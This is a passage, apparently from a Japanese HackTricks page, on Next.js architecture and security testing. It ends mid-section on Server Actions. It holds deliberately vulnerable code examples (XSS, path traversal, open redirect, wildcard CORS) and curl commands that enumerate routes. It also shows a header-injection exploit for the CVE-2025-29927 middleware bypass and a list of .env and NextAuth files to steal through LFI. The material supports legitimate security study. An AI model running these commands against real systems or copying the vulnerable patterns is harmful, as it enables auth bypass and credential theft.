NextJS

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Next.js アプリケーションの一般的なアーキテクチャ

典型的なファイル構成

標準的な Next.js プロジェクトは、ルーティング、APIエンドポイント、静的アセットの管理などの機能を支える特定のファイルおよびディレクトリ構成に従います。以下は典型的なレイアウトです:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

主要なディレクトリとファイル

  • public/: 画像、フォント、その他の静的アセットをホストします。ここに置かれたファイルはルートパス(/)でアクセス可能です。
  • app/: アプリケーションのページ、レイアウト、コンポーネント、APIルートの中心ディレクトリ。App Router パラダイムを採用しており、高度なルーティング機能やサーバー・クライアントコンポーネントの分離を可能にします。
  • app/layout.tsx: アプリケーションのルートレイアウトを定義し、全ページをラップしてヘッダー、フッター、ナビゲーションバーなどの一貫したUI要素を提供します。
  • app/page.tsx: ルートパス / のエントリポイントとして機能し、ホームページをレンダリングします。
  • app/[route]/page.tsx: 静的および動的ルートを処理します。app/ 内の各フォルダはルートセグメントを表し、各フォルダ内の page.tsx がそのルートのコンポーネントに対応します。
  • app/api/: APIルートを含み、HTTPリクエストを処理するサーバーレス関数を作成できます。これらのルートは従来の pages/api ディレクトリに置き換わります。
  • app/components/: 再利用可能なReactコンポーネントを格納し、異なるページやレイアウトで利用できます。
  • app/styles/: グローバルCSSファイルやコンポーネントスコープのスタイリングに使うCSS Modulesを含みます。
  • app/utils/: ユーティリティ関数、ヘルパーモジュール、その他アプリ全体で共有可能な非UIロジックを含みます。
  • .env.local: ローカル開発環境固有の環境変数を保存します。これらの変数はバージョン管理にはコミットされません
  • next.config.js: webpack設定、環境変数、セキュリティ設定など、Next.jsの挙動をカスタマイズします。
  • tsconfig.json: TypeScriptの設定を構成し、型チェックやその他のTypeScript機能を有効にします。
  • package.json: プロジェクトの依存関係、スクリプト、メタデータを管理します。
  • README.md: セットアップ手順、使用ガイドライン、その他関連情報を含むプロジェクトのドキュメントを提供します。
  • yarn.lock / package-lock.json: プロジェクトの依存関係を特定のバージョンに固定し、異なる環境間で一貫したインストールを保証します。

Next.js のクライアントサイド

app ディレクトリのファイルベースルーティング

最新の Next.js では、app ディレクトリがルーティングの中核です。ファイルシステムを利用してルートを定義するため、ルート管理が直感的でスケールしやすくなります。

ルートパス / の処理

ファイル構成:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

重要なファイル:

  • app/page.tsx: ルートパス / へのリクエストを処理します。
  • app/layout.tsx: アプリケーションのレイアウトを定義し、すべてのページをラップします。

実装:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

説明:

  • Route Definition: page.tsx ファイルは app ディレクトリ直下にあり、/ ルートに対応します。
  • Rendering: このコンポーネントはホームページのコンテンツをレンダリングします。
  • Layout Integration: HomePage コンポーネントは layout.tsx によってラップされており、ヘッダー、フッター、その他共通の要素を含めることができます。
他の静的パスの処理

例: /about ルート

ファイル構成:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

実装:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

説明:

  • ルート定義: about フォルダ内の page.tsx ファイルは /about ルートに対応します。
  • レンダリング: このコンポーネントは about ページのコンテンツをレンダリングします。
動的ルート

動的ルートは、可変セグメントを持つパスを扱うことを可能にし、ID、スラッグなどのパラメータに基づいてアプリケーションがコンテンツを表示できるようにします。

例: /posts/[id] ルート

ファイル構成:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

実装:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

説明:

  • 動的セグメント: [id] はルート内の動的セグメントを示し、URLからidパラメータを取得します。
  • パラメータへのアクセス: paramsオブジェクトは動的パラメータを含み、コンポーネント内でアクセスできます。
  • ルートマッチング: /posts/* にマッチする任意のパス(例: /posts/1, /posts/abc など)はこのコンポーネントによって処理されます。
ネストされたルート

Next.jsはネストされたルーティングをサポートしており、ディレクトリ構成を反映した階層的なルート構造を可能にします。

例: /dashboard/settings/profile ルート

ファイル構成:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

実装:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

説明:

  • 深いネスト: dashboard/settings/profile/ 内の page.tsx ファイルは、/dashboard/settings/profile ルートに対応します。
  • 階層の反映: ディレクトリ構造が URL パスを反映しており、保守性と可読性が向上します。
キャッチオールルート

キャッチオールルートは、複数のネストされたセグメントや未知のパスを処理し、ルーティングの柔軟性を提供します。

例: /* ルート

ファイル構成:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

実装:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

説明:

  • Catch-All Segment: [...slug] は残りのパスセグメントを配列としてキャプチャします。
  • Usage: ユーザー生成のパスやネストされたカテゴリなど、動的ルーティングのシナリオを扱うのに便利です。
  • Route Matching: /anything/here/foo/bar/baz のようなパスはこのコンポーネントで処理されます。

潜在的なクライアントサイドの脆弱性

Next.js は堅牢な基盤を提供しますが、コーディングの不備によって脆弱性が生じることがあります。主なクライアントサイドの脆弱性は次のとおりです:

Cross-Site Scripting (XSS)

XSS 攻撃は、悪意のあるスクリプトが信頼されたサイトに注入されたときに発生します。攻撃者はユーザーのブラウザ上でスクリプトを実行し、データを盗んだり、ユーザーになりすまして操作を行ったりできます。

脆弱なコードの例:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

なぜ脆弱なのか: dangerouslySetInnerHTML を信頼されていない入力と共に使用すると、攻撃者が悪意のあるスクリプトを注入できます。

Client-Side Template Injection

ユーザー入力がテンプレート内で適切に処理されない場合に発生し、攻撃者がテンプレートや式を注入して実行できるようになります。

脆弱なコードの例:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

なぜ脆弱なのか: template または data に悪意のあるコンテンツが含まれている場合、意図しないコードが実行される可能性があります。

Client Path Traversal

これは、攻撃者がクライアント側のパスを操作して、Cross-Site Request Forgery (CSRF) のような意図しない動作を引き起こす脆弱性です。server-side path traversal がサーバーのファイルシステムを標的とするのとは異なり、CSPT はクライアント側の仕組みを悪用して正当な API リクエストを悪意のあるエンドポイントに迂回させることに焦点を当てます。

脆弱なコードの例:

Next.js アプリケーションがユーザーにファイルのアップロードとダウンロードを許可しています。ダウンロード機能はクライアント側で実装されており、ユーザーがダウンロードするファイルのパスを指定できます。

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Attack Scenario

  1. Attacker’s Objective: CSRF攻撃を行い、filePath を操作して重要なファイル(例: admin/config.json)を削除する。
  2. Exploiting CSPT:
  • Malicious Input: 攻撃者は ../deleteFile/config.json のように改ざんした filePath を含むURLを作成する。
  • Resulting API Call: クライアント側のコードが /api/files/../deleteFile/config.json にリクエストを送る。
  • Server’s Handling: サーバーが filePath を検証しない場合、リクエストを処理し、機密ファイルを削除または露出させる可能性がある。
  1. Executing CSRF:
  • Crafted Link: 攻撃者は被害者にリンクを送るか、改ざんした filePath でダウンロードリクエストを発生させる悪意のあるスクリプトを埋め込む。
  • Outcome: 被害者は意図せずその操作を実行してしまい、不正なファイルアクセスや削除が発生する。

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
  • Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • 検出したパス(例えば /docs, /docs/content/examples, /signin)を利用して、auth testing と endpoint discovery を行う。

Next.js のサーバーサイド

サーバーサイドレンダリング (SSR)

ページは各リクエストごとにサーバー上でレンダリングされ、ユーザーは完全にレンダリングされた HTML を受け取ります。この場合、リクエストを処理するためのカスタムサーバーを自前で作成するべきです。

ユースケース:

  • 頻繁に変化する動的コンテンツ。
  • 検索エンジンが完全にレンダリングされたページをクロールできるため、SEO の最適化に有利。

実装:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

静的サイト生成 (SSG)

ページはビルド時に事前レンダリングされるため、読み込み時間が短くなり、サーバー負荷が軽減されます。

ユースケース:

  • あまり頻繁に変わらないコンテンツ。
  • ブログ、ドキュメント、マーケティングページ。

実装:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

サーバーレス関数(API Routes)

Next.jsでは、APIエンドポイントをサーバーレス関数として作成できます。これらの関数は専用サーバーを必要とせず、オンデマンドで実行されます。

ユースケース:

  • フォーム送信の処理。
  • データベースとのやり取り。
  • データ処理やサードパーティのAPIとの統合。

実装:

Next.js 13でappディレクトリが導入されたことで、ルーティングとAPIハンドリングはより柔軟かつ強力になりました。このモダンなアプローチはファイルベースのルーティングシステムと密接に整合しつつ、サーバーおよびクライアントコンポーネントのサポートを含む強化された機能を導入しています。

基本的なルートハンドラ

File Structure:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

実装:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

説明:

  • 配置場所: API ルートは app/api/ ディレクトリの下に配置されます。
  • ファイル名: 各 API エンドポイントはそれぞれのフォルダに格納され、route.js または route.ts ファイルを含みます。
  • エクスポートされる関数: 単一の default エクスポートの代わりに、GETPOST のような特定の HTTP メソッド関数をエクスポートします。
  • レスポンス処理: Response コンストラクタを用いてレスポンスを返すことで、ヘッダーやステータスコードをより細かく制御できます。

他のパスやメソッドの扱い方:

特定の HTTP メソッドの処理

Next.js 13+ では、同じ route.js または route.ts ファイル内で特定の HTTP メソッド用のハンドラを定義できるため、コードがより明確で整理されます。

例:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

説明:

  • 複数のエクスポート: 各HTTPメソッド (GET, PUT, DELETE) はそれぞれ独自のエクスポート関数を持ちます。
  • パラメータ: 第二引数から params 経由でルートパラメータにアクセスできます。
  • 強化されたレスポンス: レスポンスオブジェクトをより細かく制御でき、ヘッダやステータスコードを正確に管理できます。
Catch-All とネストされたルート

Next.js 13+ はキャッチオールルートやネストされた API ルートなどの高度なルーティング機能をサポートしており、より動的でスケーラブルな API 構造を可能にします。

キャッチオールルートの例:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

説明:

  • 構文: [...] はキャッチオールセグメントを示し、ネストされたすべてのパスをキャプチャします。
  • 用途: ルートの深さが変化したり動的セグメントを扱う必要がある API に有用です。

ネストされたルートの例:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

説明:

  • Deep Nesting: リソースの関係を反映した階層的なAPI構造を可能にします。
  • Parameter Access: 複数のルートパラメータにparamsオブジェクトを介して簡単にアクセスできます。
Next.js 12およびそれ以前でのAPIルートの扱い

pages ディレクトリにおけるAPIルート (Next.js 12およびそれ以前)

Next.js 13がappディレクトリと強化されたルーティング機能を導入する前は、APIルートは主にpagesディレクトリ内で定義されていました。この方法はNext.js 12およびそれ以前のバージョンでも広く使用され、サポートされています。

基本的なAPIルート

ファイル構成:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

実装:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

説明:

  • 場所: APIルートは pages/api/ ディレクトリ内にあります。
  • エクスポート: ハンドラ関数を定義するには export default を使用します。
  • 関数シグネチャ: ハンドラは req (HTTP request) と res (HTTP response) オブジェクトを受け取ります。
  • ルーティング: ファイル名 (hello.js) はエンドポイント /api/hello に対応します。

動的なAPIルート

ファイル構成:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

実装:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

説明:

  • 動的セグメント: 角括弧 ([id].js) は動的ルートセグメントを示します。
  • パラメータへのアクセス: req.query.id を使って動的パラメータにアクセスします。
  • メソッドの処理: 条件分岐を用いて異なるHTTPメソッド(GET, PUT, DELETE など)を処理します。

HTTPメソッドごとの処理

基本的なAPIルートの例では単一の関数内で全てのHTTPメソッドを処理しますが、可読性と保守性を高めるために各メソッドを明示的に処理するようコードを構成できます。

例:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

ベストプラクティス:

  • 関心の分離: 異なる HTTP メソッドごとのロジックを明確に分離する。
  • レスポンスの一貫性: クライアント側での処理を容易にするためにレスポンス構造を一貫させる。
  • エラーハンドリング: サポートされていないメソッドや予期しないエラーを適切に処理する。

CORS 設定

API routes にアクセスできるオリジンを制御し、Cross-Origin Resource Sharing (CORS) の脆弱性を軽減する。

悪い設定例:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

注意:CORSはすべての API ルートでも設定できますmiddleware.ts ファイル内で):

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

問題:

  • Access-Control-Allow-Origin: '*': 任意のウェブサイトがAPIにアクセスできるようになり、悪意のあるサイトが制限なくAPIとやり取りする可能性があります。
  • 広範なメソッド許可: すべてのメソッドを許可すると、攻撃者が望ましくない操作を実行できるようになります。

攻撃者はこれをどのように悪用するか:

攻撃者はあなたのAPIにリクエストを送る悪意のあるウェブサイトを作成し、データ取得やデータ操作といった機能を悪用したり、認証済みユーザーになりすまして望ましくない操作を引き起こしたりする可能性があります。

CORS - Misconfigurations & Bypass

クライアント側へのサーバーコードの露出

サーバーで使用するコードをクライアント側に露出されて使用されるコードでも使ってしまうことは簡単です。ファイルをクライアント側に決して露出させないための最良の方法は、ファイルの先頭でこのimportを使用することです:

import "server-only"

主要なファイルとその役割

middleware.ts / middleware.js

Location: プロジェクトのルート、または src/ 内。

Purpose: リクエストが処理される前に server-side serverless function 内でコードを実行し、認証、リダイレクト、レスポンスの修正などの処理を可能にする。

Execution Flow:

  1. Incoming Request: ミドルウェアがリクエストをインターセプトする。
  2. Processing: リクエストに基づいて処理を行う(例:認証の確認)。
  3. Response Modification: レスポンスを変更するか、次のハンドラに制御を渡すことができる。

Example Use Cases:

  • 未認証ユーザをリダイレクトする。
  • カスタムヘッダを追加する。
  • リクエストをログする。

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.

  • Baseline behavior is typically a 307 redirect to a login route like /api/auth/signin.
  • Send a long x-middleware-subrequest value (repeat middleware to hit MAX_RECURSION_DEPTH) to flip the response to 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • 認証済みページは多くのサブリソースを取得するため、アセットがリダイレクトされないように、ヘッダーをすべてのリクエストに追加してください(例: Burp Match/Replace with an empty match string)。

next.config.js

Location: プロジェクトのルート。

Purpose: Next.js の動作を構成し、機能の有効化/無効化、webpack 設定のカスタマイズ、環境変数の設定、およびいくつかのセキュリティ機能の構成を行います。

Key Security Configurations:

セキュリティヘッダー

セキュリティヘッダーは、ブラウザにコンテンツの扱い方を指示することでアプリケーションのセキュリティを強化します。これらは Cross-Site Scripting (XSS)、Clickjacking、MIME type sniffing のような攻撃の緩和に役立ちます:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

例:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
画像最適化設定

Next.js はパフォーマンスのために画像を最適化しますが、設定ミスにより信頼されていないソースが悪意あるコンテンツを注入できるなどのセキュリティ脆弱性が発生する可能性があります。

不適切な設定例:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

問題:

  • '*': 任意の外部ソース(信頼できないまたは悪意のあるドメインを含む)から画像の読み込みを許可します。攻撃者は悪意のあるペイロードを含む画像や、ユーザーを誤導するコンテンツをホストできます。
  • 別の問題として、誰でも画像をアップロードできるドメイン(例: raw.githubusercontent.com)を許可している場合があります。

攻撃者による悪用方法:

悪意のあるソースから画像を挿入することで、攻撃者はフィッシング攻撃を行ったり、誤解を招く情報を表示したり、画像レンダリングライブラリの脆弱性を悪用したりできます。

環境変数の露出

APIキーやデータベースの資格情報などの機密情報は、クライアントに公開されないように安全に管理してください。

a. 機密変数の露出

悪い設定例:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

問題:

  • SECRET_API_KEY: NEXT_PUBLIC_プレフィックスがない場合、Next.js は変数をクライアントに公開しません。ただし、誤ってプレフィックスが付けられていると(例:NEXT_PUBLIC_SECRET_API_KEY)、クライアント側からアクセス可能になります。

攻撃者の悪用方法:

機密変数がクライアントに公開されていると、攻撃者はクライアント側のコードやネットワークリクエストを調べてそれらを取得し、API、データベース、その他のサービスへの不正アクセスを行うことができます。

リダイレクト

アプリケーション内でURLのリダイレクトやリライトを管理し、ユーザーが適切に誘導されるようにしつつ、open redirect vulnerabilities を導入しないようにしてください。

a. Open Redirect Vulnerability

悪い設定例:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Problem:

  • Dynamic Destination: ユーザーが任意のURLを指定できるようにし、open redirect attacks を可能にします。
  • Trusting User Input: ユーザーが提供したURLへ検証なしにリダイレクトすると、phishing、malware distribution、credential theft の原因となる可能性があります。

How attackers abuse it:

攻撃者は、あなたのドメインから発信しているように見えるURLsを作成し、ユーザーを悪意のあるサイトへリダイレクトできます。例えば:

https://yourdomain.com/redirect?url=https://malicious-site.com

元のドメインを信頼するユーザーは、気づかずに危険なウェブサイトへ移動してしまうことがあります。

Webpack Configuration

Webpackの設定をNext.jsアプリケーションに対してカスタマイズすると、注意を怠ると意図せずセキュリティ脆弱性を導入する可能性があります。

a. 機密モジュールの露出

不適切な設定の例:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

問題:

  • Exposing Sensitive Paths: 機密ディレクトリをエイリアス化してクライアント側からのアクセスを許可すると、機密情報がleakする可能性があります。
  • Bundling Secrets: 機密ファイルがクライアント向けにバンドルされると、その中身はsource mapsやclient-side codeを調査することでアクセス可能になります。

How attackers abuse it:

攻撃者はアプリケーションのディレクトリ構成にアクセスしたり再構築したりして、機密ファイルやデータを見つけ出し悪用する可能性があります。

pages/_app.jspages/_document.js

pages/_app.js

目的: デフォルトのAppコンポーネントをオーバーライドして、グローバルな状態、スタイル、レイアウトコンポーネントを扱えるようにします。

Use Cases:

  • グローバルCSSの注入。
  • レイアウトラッパーの追加。
  • 状態管理ライブラリの統合。

例:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

目的: デフォルトの Document をオーバーライドし、<html> および <body> タグをカスタマイズできるようにします。

ユースケース:

  • <html> または <body> タグの変更。
  • meta タグやカスタムスクリプトの追加。
  • サードパーティのフォントの統合。

例:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

カスタムサーバー(オプション)

目的: Next.jsは組み込みのサーバーを備えていますが、カスタムルーティングや既存のバックエンドサービスとの統合など、より高度なユースケースのためにカスタムサーバーを作成できます。

注意: カスタムサーバーを使用するとデプロイの選択肢が制限されることがあり、特にNext.jsの組み込みサーバーに最適化されたVercelのようなプラットフォームでは制約が出る可能性があります。

例:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

追加のアーキテクチャおよびセキュリティの考慮事項

環境変数と構成

Purpose: コードベースの外部で機密情報や構成設定を管理すること。

Best Practices:

  • Use .env Files: APIキーのような変数を .env.local に保存する(バージョン管理から除外)。
  • Access Variables Securely: 環境変数にアクセスするには process.env.VARIABLE_NAME を使用する。
  • Never Expose Secrets on the Client: 機密変数がクライアント側に露出しないよう、サーバー側のみで使用することを確認する。

Example:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

注意: サーバー側のみの変数に制限するには、env オブジェクトからそれらを省略するか、クライアントに公開する場合は NEXT_PUBLIC_ をプレフィックスとして付けてください。

LFI/download endpoints 経由で狙うと有用なサーバーアーティファクト

Next.jsアプリでpath traversalやdownload APIを見つけた場合、サーバー側の秘密情報や認証ロジックをleakするコンパイル済みのアーティファクトを狙ってください:

  • .env / .env.local — セッションシークレットやプロバイダ資格情報の取得に。
  • .next/routes-manifest.json and .next/build-manifest.json — 完全なルート一覧の取得に。
  • .next/server/pages/api/auth/[...nextauth].js — コンパイル済みの NextAuth 設定を復元するため(process.env の値が未設定の場合、しばしばフォールバックパスワードが含まれます)。
  • next.config.js / next.config.mjs — rewrites、redirects、middleware routing を確認するため。

認証と認可

アプローチ:

  • Session-Based Authentication: クッキーを使ってユーザーセッションを管理する。
  • Token-Based Authentication: ステートレス認証には JWT を利用する。
  • Third-Party Providers: next-auth のようなライブラリを使って OAuth プロバイダ(例: Google, GitHub)と統合する。

セキュリティの実践:

  • Secure Cookies: HttpOnlySecureSameSite 属性を設定する。
  • Password Hashing: 保存する前に必ずパスワードをハッシュ化する。
  • Input Validation: 入力を検証・サニタイズしてインジェクション攻撃を防ぐ。

例:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

パフォーマンス最適化

戦略:

  • 画像最適化: Use Next.js’s next/image component for automatic image optimization.
  • コード分割: Leverage dynamic imports to split code and reduce initial load times.
  • キャッシュ: Implement caching strategies for API responses and static assets.
  • 遅延読み込み: Load components or assets only when they are needed.

例:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions 列挙(source maps を使って hash を function 名に対応付け)

最新の Next.js では、“Server Actions” がサーバー上で実行される一方でクライアントから呼び出されます。本番環境ではこれらの呼び出しは不透明で、すべての POST は共通のエンドポイントに送られ、Next-Action ヘッダで送られるビルド固有の hash によって識別されます。例:

POST /
